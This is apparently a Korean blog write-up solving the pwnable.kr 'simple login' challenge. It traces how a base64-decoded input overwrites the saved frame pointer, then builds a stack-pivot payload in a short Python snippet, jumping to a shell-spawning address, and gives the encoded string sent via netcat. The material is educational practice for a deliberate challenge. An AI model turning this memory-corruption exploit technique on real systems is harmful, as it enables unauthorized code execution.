본문 바로가기
[ ★ ]Study/War Game

[Rookiss] pwnable.kr simple login

by nroses-taek 2018. 11. 2.

요약


1. 같은 값을 입력하지만 hash 값이 계속 바뀐다.

- main 에서 auth를 호출하는데 이 auth 함수를 볼 필요가 없다고 느껴짐


2. Base64Decode하고 12글자 입력 받는데 왜 segment fault 뜬다.

- coredump로 값을 확인해봄 ( AAAABBBBCCCC를 Base64Encode한 값 ) CCCC 부분에서 ebp 변조 확인


3. GDB로 correct 함수보니 DEADBEEF 를 비교함 ( 갑자기 ? )

- 변수 값을 확인하니 전역변수 값을 가져오는 것을 확인 가능함


4. 전역변수 주소 값이 바뀌지 않음



5. 생각한 페이로드는 leave; ret; 생각하면 CCCC 값을 가져오는 것 하나 확인

   input 변수 주소 값 변하지 않는 것

   correct함수에서 굳이 DEADBEEF 비교값 생각하기보다 /bin/sh 주소로 바로 점프하게 하기

- AAAA + /bin/sh + input 변수주소 ( AAAA로 다시 점프 )


사진을 못올리니 글 만이라도 잘 적어야 한다 ...


>>> import base64
>>> string = ""
>>> string += "A"*4
>>> string += "\x78\x92\x04\x08"
>>> string += "\x40\xeb\x11\x08"
>>> base64.b64encode(string)
'QUFBQXiSBAhA6xEI'


nc 0 9003

'[ ★ ]Study > War Game' 카테고리의 다른 글

[Rookiss] pwnable.kr dragon  (0) 2018.11.16
[Rookiss] pwnable.kr brain fuck(풀이중)  (0) 2018.11.05
[Rookiss] pwnable.kr fsb  (0) 2018.10.09
[Toddler's Bottle] pwnable.kr blukat  (0) 2018.08.13
[Toddler's Bottle] pwnable.kr coin1  (0) 2018.08.12

댓글